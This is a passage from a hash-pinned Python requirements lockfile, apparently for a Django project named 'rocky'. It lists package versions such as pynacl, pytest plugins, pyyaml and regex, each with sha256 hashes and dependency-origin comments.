--hash=sha256:1e49ffdb714bc990f00b39d1ad1d683033875b5af15582f60c1f34ad3eeccfaa \\\n    --hash=sha256:21067396fc285609323a4db2f63a87570044abe0acddfcca8b135fc7948e3db7 \\\n    --hash=sha256:25988c3159bb097e06abfdf7b21b1fcaf90f187c74ca6c7bb842c1f72ce74fa8 \\\n    --hash=sha256:2629ad992ed1b1c012e6067f5ffafd3336fcb9b54569449fabb85621f1444ed3 \\\n    --hash=sha256:2a3912e0c568a1f99d4d6d3e41def40179d61424c0ca1c8c87c4877d7f6fd7fb \\\n    --hash=sha256:2afd85b7be186e2fe7cdbb09a3d964bcc2042f65bbcc64ad800b3c7915032655 \\\n    --hash=sha256:2c1ec2ced44a8a479d71a14f5be35461360acd388987873a8e0a02f7f81c8ec2 \\\n    --hash=sha256:2d449eae37d6b066d8a8be0e3a7d7041712d6e9152869e7d03c203795aae44ed \\\n    --hash=sha256:2f7e6a3752378a69fadf3f5ee8bc5fa082f623703eec0f4e854b12c548322de0 \\\n    --hash=sha256:3068b1e7bd986aebc88f6859f8353e72072538dcf92a7fb9cf511a0f61c5e729 \\\n    --hash=sha256:311929d9bfdb9fdbaf28beb39d88a1e36ca6dc5424ceca6d3bf81c9e1da2313c \\\n    --hash=sha256:3137cd88938adb8e567c5e938e486adc7e518ffc96b4ae1ec268e6a4275704d7 \\\n    --hash=sha256:3534c3415ed1a19ab23096b628916a827f7858ec8db49ad5d7d1e44dc13c0d7b \\\n    --hash=sha256:38108976f2d8afaa8f5067fd1390a8c9f5cc580175407cda636e76bc76e88054 \\\n    --hash=sha256:3a5a06d8ed01dad5575056b5187e5959b336793c6047920a3441ee5b03533836 \\\n    --hash=sha256:3a95a2773680dd4b6b999d4eccdd1b577fd71c31739fb4849f6ada47eabb9c56 \\\n    --hash=sha256:4103fea1beeef6b3a9fed8515f27d4fa30c929a1973655adf8f454dc49ee0662 \\\n    --hash=sha256:485a23e8f4618a1b8e23ac744180acde283fffe617f96923d25507d5cade62ec \\\n    --hash=sha256:4864f5bbb7993845baf9209bae1669a8a76769296a018cb569ebda9dcb4241f5 \\\n    --hash=sha256:48b671fe59031fd9754c7384ac05b3ed47a0cccb7d4db0ec56121f0e6a541b90 \\\n    --hash=sha256:4f7bfc1ffee4ddc03c2db472c7607a238dbbf76f7f64104fc6a623d47fb8e310 \\\n    --hash=sha256:4f7ff859d663b6635f6307a10803d07f0d09487e16c3d36b1744af51dbf948b2 \\\n    --hash=sha256:4fc801c290342350ffc82d77872054a934b2e24163727263362170c1db5416ca \\\n    --hash=sha256:5078f6c377b002428e984259ac327ef8902aacae6c14b7de740dd4869a491501 \\\n    --hash=sha256:520940e1b702fe3b33525d0351777f25e9924f1818ca7956447dabacf2d339fd \\\n    --hash=sha256:52d35cfb58c26323101c7065508d7bb69bb56338cda9ea47a7b32be581af055d \\\n    --hash=sha256:59d24ec8d5eaabad93097525a69d0f00f2667cb353eb6cda578b1cfff203ceef \\\n    --hash=sha256:5c2c92d82808e27cef3f7ab3ed63d657d0c755e0dbe5b8a58342e37bdf09bd2e \\\n    --hash=sha256:5e157a25eed281f5e40119078e3dbf698c28b3d88ff0176eea3dd37191447b8d \\\n    --hash=sha256:5e7cdd4398bee1aaeafe049ac366b0f887451d9ae418fd8785219c13fea2f928 \\\n    --hash=sha256:60edfb53b13fbe7be9bb51447016b7bcd8772beb8ca216873be33e9d11b2c8e8 \\\n    --hash=sha256:61d0f5951b7b86ec24e24fe0c5a2cce7c360830026dfbe004954e8fac9918b95 \\\n    --hash=sha256:63e288fc18d7eaeef5f16c73e65c4fd0ad95b25e7e21d8a5da144977b35eb997 \\\n    --hash=sha256:66ccedb02c934622612448489824955838a221b3a35875458970521ef17b2f9c \\\n    --hash=sha256:67e2c2e171b78db8154da602de72ffdc473c6ee51de8a9d80c0f1cd4051abfc7 \\\n    --hash=sha256:6ebb2668afd657e2127cb40f2ceb627dd78e74e9dfde14d9bf6cdd532a29ff59 \\\n    --hash=sha256:71186dad5ac325c64d68fe0e654e15fd79802e7cc42bc6f0ff822d5ad8b1ab25 \\\n    --hash=sha256:747d89bd691854c719a3381ba46b6124ef916ae85364c79e11db9c84995d8d03 \\\n    --hash=sha256:7747a50d9f75fe264b9e2091a2f462a7dd400add8723a87a75240106b6f4d949 \\\n    --hash=sha256:7897078fe8a13b73623c0955dfb2b3d2c9acb7177aac25144758c9e5a5265aaa \\\n    --hash=sha256:7904e58768cd79304b992868d7710bfc85dc6c7ed6163f0f68dbc1dcd72dc231 \\\n    --hash=sha256:7d1a058fb5aff8a1a221e7d8a0cf5b0133d069b2f293cb05f174c61bc7cdac34 \\\n    --hash=sha256:7e2db58ab46cfe602d4255381cce515585998c3b6699d5b1f909f519bc44a5aa \\\n    --hash=sha256:82d2498c96be47b47e903e1378d1d0f770097ec56ea953322f39936a7cf34977 \\\n    --hash=sha256:87e6843f89ecd2f596d7294e33196c61343186255b9880c4f1b725fde8b0e20d \\\n    --hash=sha256:8cfc29a1c66a7f0fcb36262e92f353dd0b9c4061d558fceb022e698a801cb8ae \\\n    --hash=sha256:8de8e482fd4f1e3f36c50c6aac46d044462615d8f12cfafc6bebeaa0909eea22 \\\n    --hash=sha256:8e4503f3213f723842c9a3b53955c88a9cfbd0b288cbd1c1ae933aebeec4a1b4 \\\n    --hash=sha256:8ef749be6ed0d69dba31902aaa8255a9bb269ae50c93888c4df242d8bb7acd9e \\\n    --hash=sha256:909a7327b83ca93b372f7d48df0ebc7a975a5191eb0b6e024f503f4902c24124 \\\n    --hash=sha256:90d2048e0339fa365e5a66aefe760ddd3b3d0a45501e088bc5bc7f4ed9ff9571 \\\n    --hash=sha256:a05900c37264c070c683c650cbca8f83d7cbb549719e645fcd81a24592eac788 \\\n    --hash=sha256:a2ab0e785548be1b4362a62c4004f9217598b7ee465f1f420fc2123e2a5b5b02 \\\n    --hash=sha256:a30f5d1d4e1c958b44b5c777a0d1adcd930429f35101e4780281ffbe11103925 \\\n    --hash=sha256:a44f27f4d2788ef9876ec47a43739b118c5904d74f418f53398f6ced3bbcacf2 \\\n    --hash=sha256:a5b891301b02770a5852253f4b97f8bd192e5710067bc129e20d43db5403ede2 \\\n    --hash=sha256:a70247649b7dffe36648e8f34be5ce8c5fa0a27ff07b071ea780c20a738c05ce \\\n    --hash=sha256:a99896d9db56df901ab4a63cd6a36348a569cff8e05f049db35f4016a817a3d9 \\\n    --hash=sha256:aec0be48d2555ceac04905ffb8f2bb7e55a56644858891196191827b6fc656b7 \\\n    --hash=sha256:b1eae8d7d9b8c2a90b34d3d9014804dca534f7f40180197062634499412ea14e \\\n    --hash=sha256:bc0e2fefe384152d7da85b5c2fe8ce2bf24752f68a58e3f3ea42e28a29dfdeb2 \\\n    --hash=sha256:be3e04979ba4d68183f247202c7f4f483f35df57690b3f875c06340a1579b47c \\\n    --hash=sha256:c065f1c3e54c3e79d909927a8cb48ccbc17b68733552161eba3e0628c38e5d19 \\\n    --hash=sha256:c108067f2f7e190d0dbd81247d789ec41f9ea50ccd9265a3a46710796ac60530 \\\n    --hash=sha256:c16ae1f3170267b1a37e16dba5c297bdf60c8b5657b147909ca8774ce7366644 \\\n    --hash=sha256:c3dc68dcf62db22a18ddfc3ad4960038f72b75908edc48ae014d7ac8b391d57a \\\n    --hash=sha256:c4c0a12147b4026dd68789fb9f22f1a8769e457f9562783c181880848bbd6412 \\\n    --hash=sha256:c525ecf8a4cdf198327b65030a7d081867ad8e60acb01a7214fff95cf9832d47 \\\n    --hash=sha256:c660974890ec1e4c65cff93f5670a5f451039f65463e9f9c03ad49746b49fc78 \\\n    --hash=sha256:ca877240e8dbdeef3a66f751dc41e5a74893767d510c22a22fc5c0199844f0ce \\\n    --hash=sha256:ce2e38e27de73ff6a0312a9e3304c398577c418d90bbde97f0ba1ee3ab7ac39f \\\n    --hash=sha256:d14cc5a6f260fa78e124061eebc5769af6534fc837e9a62a47f09a2c341fa4ea \\\n    --hash=sha256:d3be91482a8db77377c902cca87697388a4fb68addeb3e943ac74f425201a099 \\\n    --hash=sha256:d93ca72870133f86360e4bb0c78cd4e6ba2a0f9f3738a6486909ffc031463b32 \\\n    --hash=sha256:dc3d1569edd859cabaa476cabce9eecd05049a7966af7b4a33b541bfd4ca1104 \\\n    --hash=sha256:de5635a48df6b2eef161d10ea1bc2626153197333662ba4cd700ee7ec1aba7f5 \\\n    --hash=sha256:e1155708540f13845bf68d5ac511a55c76cfe2e057ed12b4bf3adac1581fc5c2 \\\n    --hash=sha256:e20bc5add1dd9bc3b9a3600d40632e679376569098345500799a6ad7c5d46c72 \\\n    --hash=sha256:e69ce405510a419a082a78faed65bb4249cfb51232293cc675645c12f7379bf7 \\\n    --hash=sha256:e7a77eca3c7d5108ff509db20aae6f80d47c7ed7516d8b96c387aacc42f3ce0f \\\n    --hash=sha256:ee1547a6b8243e73dd10f585555e5a263395e55ce6dea618a078570a1e889aef \\\n    --hash=sha256:ee6ff79a5f0289d64a9d6696a3ce1f98f925b803dd538335a118231e26d6d827 \\\n    --hash=sha256:ef47ee0a3ac4c2bb25a083b3acafb171f65be4a0ac1e84edef79dd0016e25eaa \\\n    --hash=sha256:f07a5af60c5e7cf53dd1ff734228bd72d0dc9938e64a75b5bb308ca350d9681e \\\n    --hash=sha256:f0d34ba062396de0be7421e6e69c9a6821bf6dc73a0ab9959a48a5a6a1e24754 \\\n    --hash=sha256:f14581aeb12e61542ce73b9bfef2bca5439d65d9ab3efe1a4d8e346b61838f9b \\\n    --hash=sha256:f26a1032bcce6ca4b4670eb3f7d8195bd0a8b8f255f1307823e217ca3cfa7c27 \\\n    --hash=sha256:f68e12d2de32ac6313a7d3854f346d71731288184fbbfc9004e368714244d2cd \\\n    --hash=sha256:fbd01128431f355e309267283e37e23704f24558e9059d930e213a377b1be919 \\\n    --hash=sha256:fd28d13eea0d8cf351dc1fe274b5070cc8e1cca2644381dee5f99de629e77cf3\n    # via pydantic\npydantic-settings==2.13.1 \\\n    --hash=sha256:b4c11847b15237fb0171e1462bf540e294affb9b86db4d9aa5c01730bdbe4025 \\\n    --hash=sha256:d56fd801823dbeae7f0975e1f8c8e25c258eb75d278ea7abb5d9cebb01b56237\n    # via rocky\npydyf==0.12.1 \\\n    --hash=sha256:ea25b4e1fe7911195cb57067560daaa266639184e8335365cc3ee5214e7eaadc \\\n    --hash=sha256:fbd7e759541ac725c29c506612003de393249b94310ea78ae44cb1d04b220095\n    # via weasyprint\npynacl==1.6.2 \\\n    --hash=sha256:018494d6d696ae03c7e656e5e74cdfd8ea1326962cc401bcf018f1ed8436811c \\\n    --hash=sha256:04316d1fc625d860b6c162fff704eb8426b1a8bcd3abacea11142cbd99a6b574 \\\n    --hash=sha256:22de65bb9010a725b0dac248f353bb072969c94fa8d6b1f34b87d7953cf7bbe4 \\\n    --hash=sha256:26bfcd00dcf2cf160f122186af731ae30ab120c18e8375684ec2670dccd28130 \\\n    --hash=sha256:2fef529ef3ee487ad8113d287a593fa26f48ee3620d92ecc6f1d09ea38e0709b \\\n    --hash=sha256:320ef68a41c87547c91a8b58903c9caa641ab01e8512ce291085b5fe2fcb7590 \\\n    --hash=sha256:3bffb6d0f6becacb6526f8f42adfb5efb26337056ee0831fb9a7044d1a964444 \\\n    --hash=sha256:44081faff368d6c5553ccf55322ef2819abb40e25afaec7e740f159f74813634 \\\n    --hash=sha256:46065496ab748469cdd999246d17e301b2c24ae2fdf739132e580a0e94c94a87 \\\n    --hash=sha256:5811c72b473b2f38f7e2a3dc4f8642e3a3e9b5e7317266e4ced1fba85cae41aa \\\n    --hash=sha256:622d7b07cc5c02c666795792931b50c91f3ce3c2649762efb1ef0d5684c81594 \\\n    --hash=sha256:62985f233210dee6548c223301b6c25440852e13d59a8b81490203c3227c5ba0 \\\n    --hash=sha256:68be3a09455743ff9505491220b64440ced8973fe930f270c8e07ccfa25b1f9e \\\n    --hash=sha256:834a43af110f743a754448463e8fd61259cd4ab5bbedcf70f9dabad1d28a394c \\\n    --hash=sha256:8845c0631c0be43abdd865511c41eab235e0be69c81dc66a50911594198679b0 \\\n    --hash=sha256:8a66d6fb6ae7661c58995f9c6435bda2b1e68b54b598a6a10247bfcdadac996c \\\n    --hash=sha256:8b097553b380236d51ed11356c953bf8ce36a29a3e596e934ecabe76c985a577 \\\n    --hash=sha256:a84bf1c20339d06dc0c85d9aea9637a24f718f375d861b2668b2f9f96fa51145 \\\n    --hash=sha256:a9f9932d8d2811ce1a8ffa79dcbdf3970e7355b5c8eb0c1a881a57e7f7d96e88 \\\n    --hash=sha256:bc4a36b28dd72fb4845e5d8f9760610588a96d5a51f01d84d8c6ff9849968c14 \\\n    --hash=sha256:c8a231e36ec2cab018c4ad4358c386e36eede0319a0c41fed24f840b1dac59f6 \\\n    --hash=sha256:c949ea47e4206af7c8f604b8278093b674f7c79ed0d4719cc836902bf4517465 \\\n    --hash=sha256:d071c6a9a4c94d79eb665db4ce5cedc537faf74f2355e4d502591d850d3913c0 \\\n    --hash=sha256:d29bfe37e20e015a7d8b23cfc8bd6aa7909c92a1b8f41ee416bbb3e79ef182b2 \\\n    --hash=sha256:fe9847ca47d287af41e82be1dd5e23023d3c31a951da134121ab02e42ac218c9\npyparsing==3.3.2 \\\n    --hash=sha256:850ba148bd908d7e2411587e247a1e4f0327839c40e2e5e6d05a007ecc69911d \\\n    --hash=sha256:c777f4d763f140633dcb6d8a3eda953bf7a214dc4eff598413c070bcdc117cbc\n    # via rocky\npyphen==0.17.2 \\\n    --hash=sha256:3a07fb017cb2341e1d9ff31b8634efb1ae4dc4b130468c7c39dd3d32e7c3affd \\\n    --hash=sha256:f60647a9c9b30ec6c59910097af82bc5dd2d36576b918e44148d8b07ef3b4aa3\n    # via weasyprint\npytest==7.4.4 \\\n    --hash=sha256:2cf0005922c6ace4a3e2ec8b4080eb0d9753fdc93107415332f50ce9e7994280 \\\n    --hash=sha256:b090cdf5ed60bf4c45261be03239c2c1c22df034fbffe691abe93cd80cea01d8\n    # via\n    #   pytest-common-subject\n    #   pytest-cov\n    #   pytest-django\n    #   pytest-drf\n    #   pytest-fixture-order\n    #   pytest-httpx\n    #   pytest-lambda\n    #   pytest-mock\npytest-assert-utils==0.3.1 \\\n    --hash=sha256:a8600b666430764eb7a486de3b21af5542425eb5bd211f6eb1ea30930691812b \\\n    --hash=sha256:f4d7fa44506c1ed65eb5369100476d74d5d8a86400c4862eab3ea0e9521a22dd\n    # via pytest-drf\npytest-common-subject==1.1.2 \\\n    --hash=sha256:3810b7445dc8b9ff732f6d9d898d8c7aa4939911eba6e365c68ad41f5c8c1c49 \\\n    --hash=sha256:7692ab6613e9d15498af3ad9551455d2983a512150a7b34ab16ccdcc76154323\n    # via pytest-drf\npytest-cov==7.1.0 \\\n    --hash=sha256:30674f2b5f6351aa09702a9c8c364f6a01c27aae0c1366ae8016160d1efc56b2 \\\n    --hash=sha256:a0461110b7865f9a271aa1b51e516c9a95de9d696734a2f71e3e78f46e1d4678\npytest-django==4.12.0 \\\n    --hash=sha256:3ff300c49f8350ba2953b90297d23bf5f589db69545f56f1ec5f8cff5da83e85 \\\n    --hash=sha256:df94ec819a83c8979c8f6de13d9cdfbe76e8c21d39473cfe2b40c9fc9be3c758\npytest-drf==1.1.3 \\\n    --hash=sha256:4d6106f7f313de2e8158ca41550817ca564f1ddcf6ba68a1e2ab404e04b36282 \\\n    --hash=sha256:4f8bd999a0d80654a55145761e5ced7601baf301fdb020ba62a25ac708fe070a\npytest-fixture-order==0.1.5 \\\n    --hash=sha256:25991b4dc2f0cb40655d93886d20de73056bde87196f07abb2b36c78f08ed90b \\\n    --hash=sha256:ce4ac6b51dca6476dbc1406a61199dfff6352fc5333bd0b52e2d3420487e834a\n    # via pytest-common-subject\npytest-httpx==0.30.0 \\\n    --hash=sha256:6d47849691faf11d2532565d0c8e0e02b9f4ee730da31687feae315581d7520c \\\n    --hash=sha256:755b8edca87c974dd4f3605c374fda11db84631de3d163b99c0df5807023a19a\npytest-lambda==1.3.0 \\\n    --hash=sha256:e91b6e1f0c13d54fdda0c7b0be3deefca3b65e3c140f3e96d2f4968eb37d65e5 \\\n    --hash=sha256:f7aa827c74be5b2332f2beb9295f46bbffc1826301fc1c0507b077ba2ea8ca4a\n    # via\n    #   pytest-common-subject\n    #   pytest-drf\npytest-mock==3.15.1 \\\n    --hash=sha256:0a25e2eb88fe5168d535041d09a4529a188176ae608a6d249ee65abc0949630d \\\n    --hash=sha256:1849a238f6f396da19762269de72cb1814ab44416fa73a8686deac10b0d87a0f\npython-dotenv==1.2.2 \\\n    --hash=sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a \\\n    --hash=sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3\n    # via\n    #   pydantic-settings\n    #   rocky\npython-ipware==3.0.0 \\\n    --hash=sha256:9117b1c4dddcb5d5ca49e6a9617de2fc66aec2ef35394563ac4eecabdf58c062 \\\n    --hash=sha256:fc936e6e7ec9fcc107f9315df40658f468ac72f739482a707181742882e36b60\n    # via django-ipware\npyyaml==6.0.3 \\\n    --hash=sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c \\\n    --hash=sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3 \\\n    --hash=sha256:02ea2dfa234451bbb8772601d7b8e426c2bfa197136796224e50e35a78777956 \\\n    --hash=sha256:0f29edc409a6392443abf94b9cf89ce99889a1dd5376d94316ae5145dfedd5d6 \\\n    --hash=sha256:10892704fc220243f5305762e276552a0395f7beb4dbf9b14ec8fd43b57f126c \\\n    --hash=sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65 \\\n    --hash=sha256:1d37d57ad971609cf3c53ba6a7e365e40660e3be0e5175fa9f2365a379d6095a \\\n    --hash=sha256:214ed4befebe12df36bcc8bc2b64b396ca31be9304b8f59e25c11cf94a4c033b \\\n    --hash=sha256:2283a07e2c21a2aa78d9c4442724ec1eb15f5e42a723b99cb3d822d48f5f7ad1 \\\n    --hash=sha256:28c8d926f98f432f88adc23edf2e6d4921ac26fb084b028c733d01868d19007e \\\n    --hash=sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310 \\\n    --hash=sha256:37503bfbfc9d2c40b344d06b2199cf0e96e97957ab1c1b546fd4f87e53e5d3e4 \\\n    --hash=sha256:41715c910c881bc081f1e8872880d3c650acf13dfa8214bad49ed4cede7c34ea \\\n    --hash=sha256:418cf3f2111bc80e0933b2cd8cd04f286338bb88bdc7bc8e6dd775ebde60b5e0 \\\n    --hash=sha256:44edc647873928551a01e7a563d7452ccdebee747728c1080d881d68af7b997e \\\n    --hash=sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac \\\n    --hash=sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9 \\\n    --hash=sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7 \\\n    --hash=sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35 \\\n    --hash=sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb \\\n    --hash=sha256:5e0b74767e5f8c593e8c9b5912019159ed0533c70051e9cce3e8b6aa699fcd69 \\\n    --hash=sha256:5fcd34e47f6e0b794d17de1b4ff496c00986e1c83f7ab2fb8fcfe9616ff7477b \\\n    --hash=sha256:5fdec68f91a0c6739b380c83b951e2c72ac0197ace422360e6d5a959d8d97b2c \\\n    --hash=sha256:64386e5e707d03a7e172c0701abfb7e10f0fb753ee1d773128192742712a98fd \\\n    --hash=sha256:652cb6edd41e718550aad172851962662ff2681490a8a711af6a4d288dd96824 \\\n    --hash=sha256:66291b10affd76d76f54fad28e22e51719ef9ba22b29e1d7d03d6777a9174198 \\\n    --hash=sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065 \\\n    --hash=sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c \\\n    --hash=sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c \\\n    --hash=sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764 \\\n    --hash=sha256:7f047e29dcae44602496db43be01ad42fc6f1cc0d8cd6c83d342306c32270196 \\\n    --hash=sha256:8098f252adfa6c80ab48096053f512f2321f0b998f98150cea9bd23d83e1467b \\\n    --hash=sha256:850774a7879607d3a6f50d36d04f00ee69e7fc816450e5f7e58d7f17f1ae5c00 \\\n    --hash=sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac \\\n    --hash=sha256:8da9669d359f02c0b91ccc01cac4a67f16afec0dac22c2ad09f46bee0697eba8 \\\n    --hash=sha256:8dc52c23056b9ddd46818a57b78404882310fb473d63f17b07d5c40421e47f8e \\\n    --hash=sha256:9149cad251584d5fb4981be1ecde53a1ca46c891a79788c0df828d2f166bda28 \\\n    --hash=sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3 \\\n    --hash=sha256:96b533f0e99f6579b3d4d4995707cf36df9100d67e0c8303a0c55b27b5f99bc5 \\\n    --hash=sha256:9c7708761fccb9397fe64bbc0395abcae8c4bf7b0eac081e12b809bf47700d0b \\\n    --hash=sha256:9f3bfb4965eb874431221a3ff3fdcddc7e74e3b07799e0e84ca4a0f867d449bf \\\n    --hash=sha256:a33284e20b78bd4a18c8c2282d549d10bc8408a2a7ff57653c0cf0b9be0afce5 \\\n    --hash=sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702 \\\n    --hash=sha256:b30236e45cf30d2b8e7b3e85881719e98507abed1011bf463a8fa23e9c3e98a8 \\\n    --hash=sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788 \\\n    --hash=sha256:b8bb0864c5a28024fac8a632c443c87c5aa6f215c0b126c449ae1a150412f31d \\\n    --hash=sha256:ba1cc08a7ccde2d2ec775841541641e4548226580ab850948cbfda66a1befcdc \\\n    --hash=sha256:bdb2c67c6c1390b63c6ff89f210c8fd09d9a1217a465701eac7316313c915e4c \\\n    --hash=sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba \\\n    --hash=sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5 \\\n    --hash=sha256:d0eae10f8159e8fdad514efdc92d74fd8d682c933a6dd088030f3834bc8e6b26 \\\n    --hash=sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f \\\n    --hash=sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b \\\n    --hash=sha256:eda16858a3cab07b80edaf74336ece1f986ba330fdb8ee0d6c0d68fe82bc96be \\\n    --hash=sha256:ee2922902c45ae8ccada2c5b501ab86c36525b883eff4255313a253a3160861c \\\n    --hash=sha256:f7057c9a337546edc7973c0d3ba84ddcdf0daa14533c2065749c9075001090e6 \\\n    --hash=sha256:fc09d0aa354569bc501d4e787133afc08552722d3ab34836a80547331bb5d4a0\n    # via\n    #   djlint\n    #   robotframework-browser\nqrcode==8.2 \\\n    --hash=sha256:16e64e0716c14960108e85d853062c9e8bba5ca8252c0b4d0231b9df4060ff4f \\\n    --hash=sha256:35c3f2a4172b33136ab9f6b3ef1c00260dd2f66f858f24d88418a015f446506c\n    # via django-two-factor-auth\nreferencing==0.37.0 \\\n    --hash=sha256:381329a9f99628c9069361716891d34ad94af76e461dcb0335825aecc7692231 \\\n    --hash=sha256:44aefc3142c5b842538163acb373e24cce6632bd54bdb01b21ad5863489f50d8\n    # via\n    #   jsonschema\n    #   jsonschema-specifications\nregex==2026.4.4 \\\n    --hash=sha256:011bb48bffc1b46553ac704c975b3348717f4e4aa7a67522b51906f99da1820c \\\n    --hash=sha256:04bb679bc0bde8a7bfb71e991493d47314e7b98380b083df2447cda4b6edb60f \\\n    --hash=sha256:0540e5b733618a2f84e9cb3e812c8afa82e151ca8e19cf6c4e95c5a65198236f \\\n    --hash=sha256:05568c4fbf3cb4fa9e28e3af198c40d3237cf6041608a9022285fe567ec3ad62 \\\n    --hash=sha256:0709f22a56798457ae317bcce42aacee33c680068a8f14097430d9f9ba364bee \\\n    --hash=sha256:0734f63afe785138549fbe822a8cfeaccd1bae814c5057cc0ed5b9f2de4fc883 \\\n    --hash=sha256:07edca1ba687998968f7db5bc355288d0c6505caa7374f013d27356d93976d13 \\\n    --hash=sha256:07f190d65f5a72dcb9cf7106bfc3d21e7a49dd2879eda2207b683f32165e4d99 \\\n    --hash=sha256:08c55c13d2eef54f73eeadc33146fb0baaa49e7335eb1aff6ae1324bf0ddbe4a \\\n    --hash=sha256:0a51cdb3c1e9161154f976cb2bef9894bc063ac82f31b733087ffb8e880137d0 \\\n    --hash=sha256:1371c2ccbb744d66ee63631cc9ca12aa233d5749972626b68fe1a649dd98e566 \\\n    --hash=sha256:173a66f3651cdb761018078e2d9487f4cf971232c990035ec0eb1cdc6bf929a9 \\\n    --hash=sha256:1b1ce5c81c9114f1ce2f9288a51a8fd3aeea33a0cc440c415bf02da323aa0a76 \\\n    --hash=sha256:1b9a00b83f3a40e09859c78920571dcb83293c8004079653dd22ec14bbfa98c7 \\\n    --hash=sha256:21e5eb86179b4c67b5759d452ea7c48eb135cd93308e7a260aa489ed2eb423a4 \\\n    --hash=sha256:261c015b3e2ed0919157046d768774ecde57f03d8fa4ba78d29793447f70e717 \\\n    --hash=sha256:2895506ebe32cc63eeed8f80e6eae453171cfccccab35b70dc3129abec35a5b8 \\\n    --hash=sha256:298c3ec2d53225b3bf91142eb9691025bab610e0c0c51592dde149db679b3d17 \\\n    --hash=sha256:2a5d273181b560ef8397c8825f2b9d57013de744da9e8257b8467e5da8599351 \\\n    --hash=sha256:2b69102a743e7569ebee67e634a69c4cb7e59d6fa2e1aa7d3bdbf3f61435f62d \\\n    --hash=sha256:2c785939dc023a1ce4ec09599c032cc9933d258a998d16ca6f2b596c010940eb \\\n    --hash=sha256:2da82d643fa698e5e5210e54af90181603d5853cf469f5eedf9bfc8f59b4b8c7 \\\n    --hash=sha256:2e19e18c568d2866d8b6a6dfad823db86193503f90823a8f66689315ba28fbe8 \\\n    --hash=sha256:312ec9dd1ae7d96abd8c5a36a552b2139931914407d26fba723f9e53c8186f86 \\\n    --hash=sha256:33424f5188a7db12958246a54f59a435b6cb62c5cf9c8d71f7cc49475a5fdada \\\n    --hash=sha256:3384df51ed52db0bea967e21458ab0a414f67cdddfd94401688274e55147bb81 \\\n    --hash=sha256:33bfda9684646d323414df7abe5692c61d297dbb0530b28ec66442e768813c59 \\\n    --hash=sha256:349d7310eddff40429a099c08d995c6d4a4bfaf3ff40bd3b5e5cb5a5a3c7d453 \\\n    --hash=sha256:36bcb9d6d1307ab629edc553775baada2aefa5c50ccc0215fbfd2afcfff43141 \\\n    --hash=sha256:3790ba9fb5dd76715a7afe34dbe603ba03f8820764b1dc929dd08106214ed031 \\\n    --hash=sha256:385edaebde5db5be103577afc8699fea73a0e36a734ba24870be7ffa61119d74 \\\n    --hash=sha256:39d8de85a08e32632974151ba59c6e9140646dcc36c80423962b1c5c0a92e244 \\\n    --hash=sha256:415a994b536440f5011aa77e50a4274d15da3245e876e5c7f19da349caaedd87 \\\n    --hash=sha256:421439d1bee44b19f4583ccf42670ca464ffb90e9fdc38d37f39d1ddd1e44f1f \\\n    --hash=sha256:475e50f3f73f73614f7cba5524d6de49dee269df00272a1b85e3d19f6d498465 \\\n    --hash=sha256:4ce255cc05c1947a12989c6db801c96461947adb7a59990f1360b5983fab4983 \\\n    --hash=sha256:504ffa8a03609a087cad81277a629b6ce884b51a24bd388a7980ad61748618ff \\\n    --hash=sha256:50a766ee2010d504554bfb5f578ed2e066898aa26411d57e6296230627cdefa0 \\\n    --hash=sha256:54170b3e95339f415d54651f97df3bff7434a663912f9358237941bbf9143f55 \\\n    --hash=sha256:54a1189ad9d9357760557c91103d5e421f0a2dabe68a5cdf9103d0dcf4e00752 \\\n    --hash=sha256:55d9304e0e7178dfb1e106c33edf834097ddf4a890e2f676f6c5118f84390f73 \\\n    --hash=sha256:586b89cdadf7d67bf86ae3342a4dcd2b8d70a832d90c18a0ae955105caf34dbe \\\n    --hash=sha256:59968142787042db793348a3f5b918cf24ced1f23247328530e063f89c128a95 \\\n    --hash=sha256:59efe72d37fd5a91e373e5146f187f921f365f4abc1249a5ab446a60f30dd5f8 \\\n    --hash=sha256:59f67cd0a0acaf0e564c20bbd7f767286f23e91e2572c5703bf3e56ea7557edb \\\n    --hash=sha256:5d354b18839328927832e2fa5f7c95b7a3ccc39e7a681529e1685898e6436d45 \\\n    --hash=sha256:62f5519042c101762509b1d717b45a69c0139d60414b3c604b81328c01bd1943 \\\n    --hash=sha256:6780f008ee81381c737634e75c24e5a6569cc883c4f8e37a37917ee79efcafd9 \\\n    --hash=sha256:6a50ab11b7779b849472337191f3a043e27e17f71555f98d0092fa6d73364520 \\\n    --hash=sha256:6aa809ed4dc3706cc38594d67e641601bd2f36d5555b2780ff074edfcb136cf8 \\\n    --hash=sha256:6c1818f37be3ca02dcb76d63f2c7aaba4b0dc171b579796c6fbe00148dfec6b1 \\\n    --hash=sha256:6dac006c8b6dda72d86ea3d1333d45147de79a3a3f26f10c1cf9287ca4ca0ac3 \\\n    